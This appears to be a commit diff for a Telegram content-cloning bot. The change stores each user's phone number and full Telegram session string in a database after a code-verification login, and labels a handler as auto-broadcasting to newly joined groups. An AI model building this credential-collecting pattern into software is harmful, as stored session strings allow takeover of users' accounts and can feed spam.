Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -312,7 +312,13 @@ def api_verify_code():
|
|
| 312 |
try: await client.disconnect()
|
| 313 |
except: pass
|
| 314 |
|
| 315 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 316 |
if phone in temp_clients: del temp_clients[phone]
|
| 317 |
return {"status": "ok"}
|
| 318 |
|
|
@@ -398,7 +404,7 @@ async def save_progress(source_id, dest_id, msg_id):
|
|
| 398 |
await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
|
| 399 |
except Exception as e: print(f"Error saving progress: {e}")
|
| 400 |
|
| 401 |
-
# =================
|
| 402 |
@bot.on_message(filters.new_chat_members)
|
| 403 |
async def bot_added_to_group(client, message):
|
| 404 |
me = client.me
|
|
@@ -421,7 +427,6 @@ async def bot_added_to_group(client, message):
|
|
| 421 |
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
|
| 422 |
except: pass
|
| 423 |
|
| 424 |
-
# Fetching the latest broadcasted video stored with marker dest_id = 0
|
| 425 |
progress_res = await db_query(lambda: supabase.table('clone_progress').select('source_id', 'last_copied_id').eq('dest_id', 0).execute())
|
| 426 |
|
| 427 |
if progress_res.data:
|
|
|
|
| 312 |
try: await client.disconnect()
|
| 313 |
except: pass
|
| 314 |
|
| 315 |
+
# 📌 UPDATE: Added 'phone' field to be saved in DB
|
| 316 |
+
await db_query(lambda: supabase.table('user_sessions').insert({
|
| 317 |
+
"user_id": user_id,
|
| 318 |
+
"phone": phone,
|
| 319 |
+
"session_string": session_string
|
| 320 |
+
}).execute())
|
| 321 |
+
|
| 322 |
if phone in temp_clients: del temp_clients[phone]
|
| 323 |
return {"status": "ok"}
|
| 324 |
|
|
|
|
| 404 |
await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
|
| 405 |
except Exception as e: print(f"Error saving progress: {e}")
|
| 406 |
|
| 407 |
+
# ================= AUTO BROADCAST TO NEW GROUPS =================
|
| 408 |
@bot.on_message(filters.new_chat_members)
|
| 409 |
async def bot_added_to_group(client, message):
|
| 410 |
me = client.me
|
|
|
|
| 427 |
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
|
| 428 |
except: pass
|
| 429 |
|
|
|
|
| 430 |
progress_res = await db_query(lambda: supabase.table('clone_progress').select('source_id', 'last_copied_id').eq('dest_id', 0).execute())
|
| 431 |
|
| 432 |
if progress_res.data:
|